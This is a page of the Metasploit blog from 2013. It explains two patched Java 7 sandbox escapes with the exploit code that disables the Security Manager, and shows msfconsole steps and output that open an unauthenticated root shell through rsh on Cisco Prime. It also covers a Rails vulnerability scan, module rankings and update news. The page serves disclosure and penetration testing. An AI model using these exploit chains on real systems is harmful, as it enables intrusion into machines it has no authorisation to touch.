Metasploit | SecurityStreet

Metasploit

by Juan Vazquez, community.rapid7.com
January 22nd 2013

More blog posts in MetasploitWhere is this place located? 1 2 3 … 24 Previous Next

Metasploit

351 Posts

Last year Security Explorations published some awesome research, exploring the security state of the Java SE from Oracle, and disclosing different vulnerabilities and exploit vectors in this software. In fact, some of the last Java exploits found in the wild have been using techniques from the mentioned research. Today we're publishing two new modules exploiting some of the documented issues. In this blog post we would like to share something about them, with the hope it will allow a better understanding of the Java related issues exploited by malicious Java applets. Anyway, the Security Explorations lecture is recommended in order to gain a deep understanding of the exploited issues and the actual Java SE state of security.

Note: The issues exploited by these modules were patched (or tried to be patched) in Java 7u9, because of that, they will be working only against Java 7 (Update 7 and before).

CVE-2012-5076 - Abusing AverageRangeStatisticImpl.invoke()

The first of the modules is abusing the AverageRangeStatisticImpl class in the com.sun.org.glassfish.external.statistics.impl package. This package, introduced with Java 7, wasn't restricted by the default Java security properties configuration. This class provides a public method, invoke(), which is doing an insecure usage of the the java.lang.reflect.Method.invoke method, calling it with user provided arguments:

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object result; try { result = method.invoke(this, args); } catch (InvocationTargetException e) { throw e.getTargetException(); } catch (Exception e) { throw new RuntimeException("unexpected invocation exception: " + e.getMessage()); } finally { } return result; }

This can be abused by a malicious applet to make calls to restricted classes, with the system class java.lang.reflect.Method.invoke.AverageRangeStatisticImpl as caller. This behavior can be abused, for example, to call the static java.lang.invoke.MethodHandles.Lookup.lookup() method;

/** * Returns a {@link Lookup lookup object} on the caller, * which has the capability to access any method handle that the caller has access to, * including direct method handles to private fields and methods. * This lookup object is a capability which may be delegated to trusted agents. * Do not store it in place where untrusted code can access it. */ public static Lookup lookup() { return new Lookup(); }

And create a Lookup object with the system class java.lang.reflect.Method.invoke.AverageRangeStatisticImpl as lookupClass:

/** Embody the current class (the lookupClass) as a lookup class * for method handle creation. * Must be called by from a method in this package, * which in turn is called by a method not in this package. *

* Also, don't make it private, lest javac interpose * an access$N method. */ Lookup() { this(getCallerClassAtEntryPoint(false), ALL_MODES); // make sure we haven't accidentally picked up a privileged class: checkUnprivilegedlookupClass(lookupClass); }

The getCallerClassAtEntryPoint will set the lookupClass:

/* Obtain the external caller class, when called from Lookup. or a first-level subroutine. */ private static Class getCallerClassAtEntryPoint(boolean inSubroutine) { final int CALLER_DEPTH = 4; // Stack for the constructor entry point (inSubroutine=false): // 0: Reflection.getCC, 1: getCallerClassAtEntryPoint, // 2: Lookup., 3: MethodHandles.*, 4: caller // The stack is slightly different for a subroutine of a Lookup.find* method: // 2: Lookup.*, 3: Lookup.find*.*, 4: caller // Note: This should be the only use of getCallerClass in this file. assert(Reflection.getCallerClass(CALLER_DEPTH-2) == Lookup.class); assert(Reflection.getCallerClass(CALLER_DEPTH-1) == (inSubroutine ? Lookup.class : MethodHandles.class)); return Reflection.getCallerClass(CALLER_DEPTH); }

The checkUnprivilegedlookupClass will ensure the lookupClass isn't part of the "java.lank.invoke." package, I guess to avoid to use same reflection API to create a Lookup object with a system class as lookupClass:

private static void checkUnprivilegedlookupClass(Class lookupClass) { String name = lookupClass.getName(); if (name.startsWith("java.lang.invoke.")) throw newIllegalArgumentException("illegal lookupClass: "+lookupClass); }

So far so good, with a MethodHandles.Lookup object with a system class as lookupClass, we can abuse the new reflection API to finally bypass the sandbox. In order to do it, the Class.forName method is used to get references for the restricted classes sun.org.mozilla.javascript.internal.Context and sun.org.mozilla.javascript.internal.GeneratedClassLoader, and these are used to define a custom provided class in a privileged class loader namespace:

MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); MethodHandle localMethodHandle0 = test.findStatic(Class.class, "forName", localMethodType0); Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" }); // Instance of sun.org.mozilla.javascript.internal.Context MethodType localMethodType1 = MethodType.methodType(Void.TYPE); MethodHandle localMethodHandle1 = test.findConstructor(localClass1, localMethodType1); Object localObject1 = localMethodHandle1.invokeWithArguments(new Object[0]); // Context.createClassLoader MethodType localMethodType2 = MethodType.methodType(localClass2, ClassLoader.class); MethodHandle localMethodHandle2 = test.findVirtual(localClass1, "createClassLoader", localMethodType2); Object localObject2 = localMethodHandle2.invokeWithArguments(new Object[] { localObject1, null }); // GeneratedClassLoader.defineClass MethodType localMethodType3 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); MethodHandle localMethodHandle3 = test.findVirtual(localClass2, "defineClass", localMethodType3); Class localClass3 = (Class)localMethodHandle3.invokeWithArguments(new Object[] { localObject2, null, buffer });

The provided class to be loaded implements PrivilegedAction, this action invokes setSecurityManager with a NULL argument to disable the Security Manager in the Java VM:

import java.security.AccessController; import java.security.PrivilegedExceptionAction; public class B implements PrivilegedExceptionAction { public B() { try { AccessController.doPrivileged(this); } catch (Exception e) { } } public Object run() { System.setSecurityManager(null); return new Object(); } }

The exploitation method exposed before is also documented in detail on the Security Explorations paper (using sun.org.mozilla.javascript.internal.DefiningClassLoader), and has been used in the wild to exploit the CVE-2013-0422. Now you can use one of the new Metasploit modules to test it:

CVE-2012-5088 - Abusing MethodHandle.invokeWithArguments

The second modules presented is abusing the java.lang.invoke.MethodHandle.invokeWithArguments function. This issue around this method is explained again by Security Explorations in this report. This public method is a wrapper to the invokeExact method, provided by the same MethodHandle class:

/** * Performs a variable arity invocation, passing the arguments in the given array * to the method handle, as if via an inexact {@link #invoke invoke} from a call site * which mentions only the type {@code Object}, and whose arity is the length * of the argument array. *

* Specifically, execution proceeds as if by the following steps, * although the methods are not guaranteed to be called if the JVM * can predict their effects. *

*
• Determine the length of the argument array as {@code N}. * For a null reference, {@code N=0}.
*
• Determine the general type {@code TN} of {@code N} arguments as * as {@code TN=MethodType.genericMethodType(N)}.
*
• Force the original target method handle {@code MH0} to the * required type, as {@code MH1 = MH0.asType(TN)}.
*
• Spread the array into {@code N} separate arguments {@code A0, ...}.
*
• Invoke the type-adjusted method handle on the unpacked arguments: * MH1.invokeExact(A0, ...).
*
• Take the return value as an {@code Object} reference.
*

*

* Because of the action of the {@code asType} step, the following argument * conversions are applied as necessary: *

*
• reference casting *
• unboxing *
• widening primitive conversions *

*

* The result returned by the call is boxed if it is a primitive, * or forced to null if the return type is void. *

* This call is equivalent to the following code: *

* MethodHandle invoker = MethodHandles.spreadInvoker(this.type(), 0); * Object result = invoker.invokeExact(this, arguments); *

*

* Unlike the signature polymorphic methods {@code invokeExact} and {@code invoke}, * {@code invokeWithArguments} can be accessed normally via the Core Reflection API and JNI. * It can therefore be used as a bridge between native or reflective code and method handles. * * @param arguments the arguments to pass to the target * @return the result returned by the target * @throws ClassCastException if an argument cannot be converted by reference casting * @throws WrongMethodTypeException if the target's type cannot be adjusted to take the given number of {@code Object} arguments * @throws Throwable anything thrown by the target method invocation * @see MethodHandles#spreadInvoker */ public Object invokeWithArguments(Object... arguments) throws Throwable { int argc = arguments == null ? 0 : arguments.length; MethodType type = type(); if (type.parameterCount() != argc || isVarargsCollector()) { // simulate invoke return asType(MethodType.genericMethodType(argc)).invokeWithArguments(arguments); } MethodHandle invoker = type.invokers().varargsInvoker(); return invoker.invokeExact(this, arguments); }

It's interesting because, as documented by Security Explorations, it allows to bypass security checks based on the immediate caller. It can be abused to get references to restricted classes with a code like that:

MethodHandles.Lookup localLookup = MethodHandles.publicLookup(); MethodType localMethodType0 = MethodType.methodType(Class.class, String.class); MethodHandle localMethodHandle0 = localLookup.findStatic(Class.class, "forName", localMethodType0); Class localClass1 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.Context" }); Class localClass2 = (Class)localMethodHandle0.invokeWithArguments(new Object[] { "sun.org.mozilla.javascript.internal.GeneratedClassLoader" });

The root cause is Class.forName() method being one of these doing security checks based on the immediate caller:

/** * Returns the {@code Class} object associated with the class or * interface with the given string name. Invoking this method is * equivalent to: * *

* {@code Class.forName(className, true, currentLoader)} *

* * where {@code currentLoader} denotes the defining class loader of * the current class. * *

For example, the following code fragment returns the * runtime {@code Class} descriptor for the class named * {@code java.lang.Thread}: * *

* {@code Class t = Class.forName("java.lang.Thread")} *

*

* A call to {@code forName("X")} causes the class named * {@code X} to be initialized. * * @param className the fully qualified name of the desired class. * @return the {@code Class} object for the class with the * specified name. * @exception LinkageError if the linkage fails * @exception ExceptionInInitializerError if the initialization provoked * by this method fails * @exception ClassNotFoundException if the class cannot be located */ public static Class forName(String className) throws ClassNotFoundException { return forName0(className, true, ClassLoader.getCallerClassLoader()); }

The forName method will use the ClassLoader.getCallerClassLoader() to get the invoker ClassLoader and use it as the defining one of the current class. This getCallerClassLoader is trying to retrieve the caller and its ClassLoader:

// Returns the invoker's class loader, or null if none. // NOTE: This must always be invoked when there is exactly one intervening // frame from the core libraries on the stack between this method's // invocation and the desired invoker. static ClassLoader getCallerClassLoader() { // NOTE use of more generic Reflection.getCallerClass() Class caller = Reflection.getCallerClass(3); // This can be null if the VM is requesting it if (caller == null) { return null; } // Circumvent security check since this is package-private return caller.getClassLoader0(); }

But because of the wrapper method, the Reflection.getCallerClass(3) will see the invokeWithArgument() as the caller, and the getCallerClassLoader will finally use the loader for the MethodHandle system class (not the one for the Exploit class):

It will allow to get references to the restricted sun.org.mozilla.javascript.internal.Context and sun.org.mozilla.javascript.internal.GeneratedClassLoader classes. After that, recursive reflection is used, as exploited in the wild with CVE-2013-0422. The recursive reflection technique has been also documented also by @sagar38 here and @mihi42 here. It works because the new Reflection API security is also based in check the caller at the moment of acquire a MethodHandle. For example, we can check the MethodHandles.Lookup.findVirtual() method:

public MethodHandle findVirtual(Class refc, String name, MethodType type) throws NoSuchMethodException, IllegalAccessException { MemberName method = resolveOrFail(refc, name, type, false); checkSecurityManager(refc, method); // stack walk magic: do not refactor return accessVirtual(refc, method); }

It uses the checkSecurityManager function to perform access checks, also based in the caller Class (again will see, incorrectly, the MethodHandle class as the caller):

/** * Perform necessary access checks. * This function performs stack walk magic: do not refactor it. */ void checkSecurityManager(Class refc, MemberName m) { SecurityManager smgr = System.getSecurityManager(); if (smgr == null) return; if (allowedModes == TRUSTED) return; // Step 1: smgr.checkMemberAccess(refc, Member.PUBLIC); // Step 2: Class callerClass = ((allowedModes & PRIVATE) != 0 ? lookupClass // for strong access modes, no extra check // next line does stack walk magic; do not refactor: : getCallerClassAtEntryPoint(true)); if (!VerifyAccess.classLoaderIsAncestor(lookupClass, refc) || (callerClass != lookupClass && !VerifyAccess.classLoaderIsAncestor(callerClass, refc))) smgr.checkPackageAccess(VerifyAccess.getPackageName(refc)); // Step 3: if (m.isPublic()) return; Class defc = m.getDeclaringClass(); smgr.checkMemberAccess(defc, Member.DECLARED); // STACK WALK HERE // Step 4: if (defc != refc) smgr.checkPackageAccess(VerifyAccess.getPackageName(defc)); // Comment from SM.checkMemberAccess, where which=DECLARED: /* * stack depth of 4 should be the caller of one of the * methods in java.lang.Class that invoke checkMember * access. The stack should look like: * * someCaller [3] * java.lang.Class.someReflectionAPI [2] * java.lang.Class.checkMemberAccess [1] * SecurityManager.checkMemberAccess [0] * */ // For us it is this stack: // someCaller [3] // Lookup.findSomeMember [2] // Lookup.checkSecurityManager [1] // SecurityManager.checkMemberAccess [0] }

The technique to finally disable the Security Manager is the same as in the previous case.

MethodType localMethodType1 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { MethodType.class }); MethodHandle localMethodHandle1 = localLookup.findVirtual(MethodHandles.Lookup.class, "findConstructor", localMethodType1); MethodType localMethodType2 = MethodType.methodType(Void.TYPE); MethodHandle localMethodHandle2 = (MethodHandle)localMethodHandle1.invokeWithArguments(new Object[] { localLookup, localClass1, localMethodType2 }); Object localObject1 = localMethodHandle2.invokeWithArguments(new Object[0]); MethodType localMethodType3 = MethodType.methodType(MethodHandle.class, Class.class, new Class[] { String.class, MethodType.class }); MethodHandle localMethodHandle3 = localLookup.findVirtual(MethodHandles.Lookup.class, "findVirtual", localMethodType3); MethodType localMethodType4 = MethodType.methodType(localClass2, ClassLoader.class); MethodHandle localMethodHandle4 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass1, "createClassLoader", localMethodType4 }); Object localObject2 = localMethodHandle4.invokeWithArguments(new Object[] { localObject1, null }); MethodType localMethodType5 = MethodType.methodType(Class.class, String.class, new Class[] { byte[].class }); MethodHandle localMethodHandle5 = (MethodHandle)localMethodHandle3.invokeWithArguments(new Object[] { localLookup, localClass2,"defineClass", localMethodType5 }); Class localClass3 = (Class)localMethodHandle5.invokeWithArguments(new Object[] { localObject2, null, buffer }); localClass3.newInstance();

And again, the another of the new modules in action:

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.

MSFUpdate

This week, we've addressed the changes introduced by Metasploit 4.5 on the command line updater, msfupdate. You can read about it over here, but the gist of it is, if you want to continue using msfupdate, you will want to take a few tens of seconds to activate your Metasploit installation, or get yourself moved over to a fully functional git clone of the Metasploit Framework. And speaking of updates...

Update to 4.5.1

Lately, Metasploit updates have been weighing in at about 150MB. This week's update is about twice that, since we revved up the release version to 4.5.1. Part of the reason for this is, of course, that dastardly Rails bug we talked about last week. After all, it would be cruel to let new Metasploit users stay exposed to known and popular Metasploit exploit. This update also revs up the Java binaries (there was a bug there too), nmap (just for general performance reasons), and recompiles PostgreSQL against the most recent versions of libxml and openssl libraries. Thanks to Brandon @blt04 Turner for the heroic effort turning this out.

Wordpress Pingback

This update has a few new modules this week as well, of course, including one that demonstrates a nifty portscan proxying technique using Wordpress's built-in XML-RPC interface... which is enabled by default. Using this technique, outsiders can pivot through an insecure Wordpress site, and mount an internal scan. Pretty fun. This was written up initially by ethicalhack3r, Metasploit and WPScan contributor Christian @_FireFart_ Mehlmauer implemented this technique shortly thereafter as a stand-alone Ruby application. It was of course only a matter of time before it showed up as a Metasploit module -- thanks to Thomas @smilingraccoon McCarthy and Brandon @zeknox McCann for this draft. Happy internal portscanning!

New Modules

Availability

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

For additional details on what's changed and what's current, please see Brandon Turner's most excellent release notes.

The Short Story

In order to use the binary installer’s msfupdate, you need to first register your Metasploit installation. In nearly all cases, this means visiting https://localhost:3790 and filling out the form. No money, no dense acceptable use policy, just register and go. Want more detail and alternatives? Read on.

Background

A little over a year ago, Metasploit primary development switched to Git as a source control platform and GitHub as our primary source hosting service. We had outgrown SVN's largely linear, centralized development model and Git’s distributed nature was quite complementary to our open source BSD license.

Since Metasploit Framework has many thousands of users, msfupdate still pointed at our legacy repository. Rather than training all our users on Git installation (not to mention dealing with the... idiosyncrasies of the Windows Git solutions), it was easier for everyone to keep that running as a distribution mechanism for bleeding-edge updates.

Things were humming along in this way, with SVN picking up changes to metasploit-framework’s master branch, up until around the autumn of 2012. At that time, we saw that our legacy SVN infrastructure was getting pretty rickety, and users were complaining more and more of our SVN server's unresponsiveness. In addition, SVN itself is not that great at dealing with medium-to-large changes in the codebase (every file change necessitates a new TCP connection), whereas Git is pretty solid in that regard (changes are streamed over a single connection). So, in November of 2012, we cleaned up msfupdate, enabled switching between Git and SVN arbitrarily, and posted up a deprecation warning that the SVN route will be going away soon.

Meanwhile, in Metasploit Community, Metasploit Express, and Metasploit Pro (collectively known as the “binary installers”), through version 4.4, we actually shipped two different versions of the Metasploit Framework: one which used the in-product “Update Metasploit” administration function (it’s a button in the user interface), and one which used the Metasploit Framework’s msfupdate script. The former got the weekly updates we've been producing, and the latter pulled the latest commits to Metasploit Framework (including all our latest bugs).

As it turns out, if you used one, you tended not to use the other -- so it had the effect of shipping a great pile of dead code, depending on which update path you chose. When Metasploit 4.5 was released, we switched this to a single Metasploit Framework installation, and simply had msfupdate call out to the binary installation’s update function to fetch code. This reduced the size of the installer, reduced confusion around troubleshooting which “msf” directory you were in, and made the updates act in the way that the user tended to want.

However, this change has a catch: in order to get the weekly updates you need to register your Metasploit installation, since the installed version of Metasploit Framework is no longer tied to source control. As of 4.5, if you install via the binary installers, you are now in the weekly updates, which are always a little behind bleeding edge (with the upside being more QA and acceptance testing of the changes). What this means that if you are installing Metasploit from the monolithic installers like a regular user, but are used to tracking bleeding-edge updates like a Metasploit developer, you are going to be out of luck, and get a “no updates found” error, until you register.

Of course, this is not a power grab from Rapid7, or an attempt to shut out the free, open source users, or anything like that. You do have options to get your updates, depending on your needs.

The Easy Way

Just activate Metasploit Community Edition. It's totally free and takes just a few seconds and a valid e-mail address. We don’t force you into an onerous legal agreement or require a subscription fee or anything like that. The simplest way to acquire a license key and activate is detailed in the Metasploit Activation How To, but it's pretty self-explanatory. Visit your installation's new user setup page (usually https://localhost:3790), pick up a license key by following the links from there, and activate. If you run into problems, there’s a delightful FAQ that’s plenty helpful.

The Hard^H^H^H^HFun Way

You can still get a hold of Metasploit Framework without the installers, but it requires some more investment in your operating environment. Right now, the best documentation around is using the Metasploit Developer Environment, which was written primarily by Tod Beardsley of Rapid7 and Peter Van Eeckhoutte of Corelan Team, and it requires an Ubuntu dev environment. This path will get you into Metasploit Framework just as the open source developers do, with a fully functional git environment, a couple of pre-defined remotes, and your SSH aliases squared away. You are ready to go with both using Framework and hacking on Framework.

That all said, as of today, this method does not install or configure some of the components that the binary installers provide -- notably, you are on your own for setting up a PostgreSQL database, nmap, and Java. It does get you going with a decent version of Ruby, and we plan on updating the documentation with the other components Real Soon Now.

The Max Power Way

We've been working up some experimental one-liners for installing a Metasploit Framework development environment using similar techniques as the Homebrew and RVM projects. If you’d like to give these a shot, you’re more than welcome. Again, these don’t get your binaries squared away, but we expect to have that functionality together for the development folks, soon.

• Windows instructions are at

  https://gist.github.com/ef4fa9f28c2663a3adaa

  . Not quite a one-liner, but thanks to the new msysGit build environment, there’s a pretty reasonable path for Metasploit Devs who find themselves on Windows.
• Ubuntu Linux instructions are at

  https://gist.github.com/90a9297d1e035d8ace3d

  . It's a three (and a half) step process. It seems to work delightfully well.
• BackTrack 5, Revision 3 (BT5R3): Just running apt-get update metasploit && apt-get install metasploit will upgrade you to the latest Metasploit binaries and will switch your Metasploit Framework install over to the Git-sourced version. In this sense, it’s very similar to the 4.4 experience of two separate Metasploit Framework installations. For the nitty-gritty of what’s happening, or if you’d like to update your BackTrack installation yourself, it’s all documented at

  https://gist.github.com/4393324

  .
• OSX instructions are sketched out at

  https://gist.github.com/94807ffd0fbf575724f0

  . This is the least tested method of the bunch, but it’s what I’ve used to get things going on my MacBook.

While these developer-centric installers are not supported by Rapid7’s support teams, you can often find help by simply posting up whatever trouble you run into on Security Street. Those folks are super helpful.

Recap

If you want the ease of use of having all the secondary binaries installed and configured for you, download the latest installer and take a minute to register your free (as in speech and beer) installation. If you prefer to track the minute-by-minute changes on Framework, then you’re invited to dive in the deep end of the developer setups.

If you’re already tracking development, then you are already aware that the SVN bridge is going away very soon, so you should be getting used to git for your updates -- and while you’re at it, why not write some code? Metasploit is all about empowering security researchers to solve the problems unique to this operational and research space, so by getting up to speed with Git, you’re well on your way to becoming the latest valued open source contributor.

In today's Whiteboard Wednesday, David Maloney explains anti-virus evasion techniques for Metasploit.

In order to make the most of Metasploit pen testing techniques in delivering payloads, you need to be able to deliver those payloads without anti-virus flagging them. David walks us through a few examples on how to bypass anti-virus detection so you can easily pen test your systems.

Watch the video here!

Interested in some more information? Make sure to read David's blog post on the topic, and be sure to register for next week's webcast where David will present a deep dive on how to best evade AV with Metasploit.

Make sure to check in next week for our next episode of Whiteboard Wednesday.

On January 9th Cisco released advisory cisco-sa-20130109 to address a vulnerability in the "rsh" service running on their Cisco Prime LAN Management Solution virtual appliance. The bug is as bad as it gets - anyone who can access the rsh service can execute commands as the root user account without authentication. The example below demonstrates how to exploit this flaw using Metasploit ( free download ).

First off, the rsh service requires client connections to use a privileged source port. This means using the Metasploit Pro, Express, or Community web interface, or running the Metasploit console as root.

Metasploit Pro users should click on Modules and search for rsh_login. The rsh Authentication Scanner module should be selected. For Metasploit console uses, enter the following command to select the rsh module:

$ sudo /opt/metasploit*/msfconsole

msf> use auxiliary/scanner/rservices/rsh_login

Once the module is loaded, enter the IP or IP range that you would like to test, set the USERNAME option to 'root', and let it rip.

In this case, our target has the IP 192.168.71.143:

msf auxiliary(rsh_login) > set RHOSTS 192.168.71.143

msf auxiliary(rsh_login) > set USERNAME root

msf auxiliary(rsh_login) > exploit

[*] 192.168.71.143:514 - Starting rsh sweep

[*] 192.168.71.143:514 RSH - Attempting rsh with username 'root' from 'root'

[+] 192.168.71.143:514, rsh 'root' from 'root' with no password.

[*] Command shell session 1 opened (192.168.71.142:1023 -> 192.168.71.143:514) at 2013-01-16 12:23:31 -0800

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(rsh_login) > sessions -i 1

[*] Starting interaction with 1...

sh: no job control in this shell

sh-3.2# id

uid=0(root) gid=0(root) groups=0(root)

..and that is it. You are hacking like it's 1985 (when rservices were still common in production environments).

-HD

Each month we compile a list of the most searched exploit and auxiliary modules from our exploit database. To protect user's privacy, the statistics come from analyzing webserver logs of searches, not from monitoring Metasploit usage.

December brings us the addition of a brand new Internet Explorer exploit module making its debut at #6 and the Apache Killer DoS jumping five spots to #5. Read on for the rest of December's exploit and auxiliary modules with commentary by Metasploit's own Tod Beardsley.

1. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020): This is the 2012 RDP Bug, where it was implied -- but never proven in public -- that a pre-auth bug in RDP can allow for remote code execution. This is likely the most popular module we have due to both recency bias and because there was an unusual level of spontaneous organization of the Metasploit developer community to search for the correct path to remote code execution. So far, nobody’s gotten RCE yet (in public), but the Metasploit module provides the most clues. More on this topic in an article on ZD Net. Up one place from #2 last month.

2. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067): A four year old vulnerability that tends to give the most reliable shells on Windows 2003 Server and Windows XP. It’s also got a great pile of language pack targets. All of Metasploit’s exploits provide US English targeted shellcode, a few might provide Chinese, Spanish, French, or other popular languages; this one has targets in pretty much every language you've ever heard of. This exploit is also not ancient, so it’s reasonable to expect to find some unpatched systems in a medium to large enterprise vulnerable to it. More on this topic at Microsoft’s Security TechCenter. Down one place from #1 last month.

3. Java 7 Applet Remote Code Execution: Over a fateful weekend in August, Metasploit exploit devs Wei "sinn3r" Chen, Juan Vazquez, and contributor Josh "jduck" Drake got together on IRC and put together a Metasploit module to take advantage of the vulnerability reported privately to Oracle by Adam Gowdiak and James Forshow. Here's the twist: Nobody at the time knew about Adam's or James's private disclosure to Oracle -- this bug was instead spotted in the wild way before Oracle was planning to release their fix. So, we started the week with a new Java 0-day, and by the end of the week, after much speculation, Oracle did the right thing and accelerated their patch schedule. Interesting times, to say the least. Same place as last month.

4. Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026): A nine year old vulnerability that used to be the de-facto standard exploit for Windows machines - this is the RPC DCom bug, and it affects ancient NT machines. It was most notable in that it was used by the Blaster and Nachi worms to transit networks. It’s now pretty much a case study in stack buffer overflows in Windows, so it’s got a lot of historical value. If memory serves, this was the most reliable exploit in Metasploit v2. More info on that at Windows IT Pro. Same place as last month.

5. Apache Range header DoS (Apache Killer): This old module might be appearing on this month's list because the vulnerability was discovered by KingCope who just dropped a ton of 0day (see the recent blog post, What Would Trinity Do With KingCope's SSH 0day? for an example). Perhaps someone (or a bunch of someones) is researching KingCope's past contributions? Other than that, I can't see why there would be sudden interest in a year-old Apache Dos. Up five places from #10 last month.

6. Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability: The vulnerability exploited by ie_cbutton_uaf has the dubious distinction of being the last 0-day of 2012, and is discussed extensively on the Metasploit blog, Microsoft Internet Explorer 0-Day Marks the End of 2012. It’s also a rare 0-day in MSIE – not Flash, not Java, not any of the other attendant technologies, but the browser itself. It’s IE8 only, but as Metasploit exploit developer sinn3r points out, that’s still 33% or so of all internet browser traffic today. This module also demonstrates the tirelessness of the Metasploit exploit dev community; in most of the world, December 29th was a weekend smack in the middle of the phone-it-in-I’m-not-doin’-nothin' holiday season between Christmas and New Year’s. Sadly, the bad guys never rest, so when we become aware of new techniques in the wild, we try to be quick in giving the sysadmins and pen-testers of the world the tools they need to protect their networks’ constituency. New since last month.

7. MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability: This bug started off with Eric Romang's blog post and ended up with a module being cooked up over a weekend by Eric, @binjo, and the Metasploit exploit dev team. This event, like the Java 0-day, had the net effect of speeding up the vendor's patch schedule. If there was no public, open exploit, would there have been a patch so rapidly? Was it connected with Java 0-day? Who's the primary source for these critical client-side bugs, anyway? These and other questions are still being speculated on and debated in the security industry and security press. Down two places from #5 since last month.

8. Apache mod_isapi <= 2.2.14 Dangling Pointer: Although this is an exploit in Apache, don’t be fooled! It’s only exploitable on Windows (so that knocks out the biggest chunk of Apache installs at the time of this module’s release), and it’s only a DoS. Again, kind of a mystery as to why it’s so popular. Down one place from #7 last month.

9. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504): The PSExec module is a utility module -- given an SMB username and password with sufficient privileges on the target machine, the user can get a shell. It’s not sexy, but it’s super handy for testing payloads and setup. I’d bet it’s the most-used module in classroom and test environments. More on this topic in at the National Vulnerability Database. Same places as last month.

10. Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite Loop: Not sure why this module is still popular -- it’s a client side DoS. Historically, it’s a neat DoS, since it demos a bug in Windows 7’s kernel, but all the module does is crash Windows 7 clients after you get a user to connect to you. Down two places from #8 since last month.

If you want to use any of these exploits right now, you can download Metasploit for free.

Hello concerned citizens,

I suppose by now you've already noticed there has been a Java vulnerability -- CVE-2013-0422 -- exploited in the wild at least since mid-December. This attack was first exposed by Kafeine in his blog post [here], and then quickly made its way to Metasploit for everybody to test the seriousness of the problem. The exploit should work against all platforms -- Linux, OSX, Windows, with whatever browser you're using. Basically, if you're running Java 7 Update 10 or prior, you are unfortunately affected by this:

CVE-2013-0422 does not actually affect Java 6 or older, but if that's the case, you're probably vulnerable to something else.

As of now, there's no patch from Oracle. Our recommendation is to completely disable Java until this bug is properly fixed. If for some reason you cannot do that, then here are some mitigations you can try:

• Update your Anti-virus definition, which should be able to block all known public exploits and variants.
• In Java Control panel, under the "Security" tab, set the Security Level to "Very High". Thanks to bannedit for the suggestion.
• Pray that people think you're very very nice, so nobody wants to hack you.

If you'd like to try out this Metasploit module to better validate your computer's defenses, please feel free to download Metasploit from here. If you habitually use Metasploit Framework, you can just run msfupdate now to obtain it. If you're a Metasploit Pro user, you should have this exploit already.

Update:

Jan 13, 2013 - Oracle releases Security Alert for CVE-2013-0422.

Background

Earlier this week, a critical security flaw in Ruby on Rails (RoR) was identified that could expose an application to remote code execution, SQL injection, and denial of service attacks. Ruby on Rails is a popular web application framework that is used by both web sites and web-enabled products and this flaw is by far the worst security problem to surface in this framework to date. If you are interested in the details of the bug, Postmodern (developer of Ronin) wrote a great blog post covering each of the issues in depth.

In this post I will walk through the process of identifying and exploiting vulnerable Ruby on Rails instances.

First off, make sure you have a copy of Metasploit and that you have How to update Metasploit Express and Metasploit Pro. The Metasploit web interface is also a Ruby on Rails application and applying the latest update will ensure that your systems are not vulnerable to attack. Applying the latest update will also ensure you have access to the latest exploits and supporting modules. If you are using a Git checkout of the Metasploit Framework, pull the latest commits from master and you should be good to go. For version 4.5.0, you want to be running update Metasploit Update 2013010901

Service Discovery

Next we need to identify any web servers within the target environment. Metasploit Pro, Metasploit Express, and Metasploit Community users can use the Scan component within the web interface to automatically discover hosts and services across the network. Console users should leverage db_nmap and the auxiliary/scanner/http/http_version module to locate and fingerprint any exposed web servers. The example below shows how you can configure the Scan component to identify common web server ports. This scan focuses only on ports 80, 343, 3000, 3001, 4567, 8080, 8443, and 3790 in order to reduce the scan time and identify common RoR application ports.

Troubleshooting

If you are having trouble identifying potential RoR applications, there are a few things to keep in mind:

• Rails often runs on top of the Apache, NginX, Thin, and WEBrick servers
• Rails may be only be accessible at a certain path, such as /forum or /redmine
• Rails may be listening on a non-standard port, such as 3000, 4567, or 8888

Rails can be identified through additional headers on the HTTP response as well, for example:

• X-Powered-By: Phusion Passenger (mod_rails/mod_rack) 3.0.8
• X-Rack-Cache: miss
• Set-Cookie: _appname_session=(base64)%3D%3D--(hexadecimal)

Vulnerability Detection

Now that you have a list of servers and ports, it is time to use the RoR vulnerability scanning module within Metasploit. Users of the web interface should access the Modules tab and search for rails_xml_yaml_scanner. Once the module has been selected, enter the IP range you wish to test. If you have web servers across multiple ports (say, 80 and 443 with SSL), you will need to repeat this process once for each port. If these servers are using SSL, make sure that option has been selected. In some cases, you may need to specify the VHOST and URIPATH to tell the module exactly what web site and URL to test.

Metasploit console users can accomplish the same thing by running the following commands:

msf> use auxiliary/scanner/http/rails_xml_yaml_scanner

msf auxiliary(rails_xml_yaml_scanner) > set RHOSTS 192.168.0.0/24

msf auxiliary(rails_xml_yaml_scanner) > set RPORT 80

msf auxiliary(rails_xml_yaml_scanner) > set THREADS 128

msf auxiliary(rails_xml_yaml_scanner) > run

The output of the scan should be a list of vulnerable servers, or no output at all if none were found. If you would like to see more information about the scan, set the VERBOSE option to true.

[*] Scanned 036 of 256 hosts (014% complete)

[*] Scanned 133 of 256 hosts (051% complete)

[+] 192.168.0.4:80 is likely vulnerable due to a 500 reply for invalid YAML

[*] Scanned 148 of 256 hosts (057% complete)

[*] Scanned 154 of 256 hosts (060% complete)

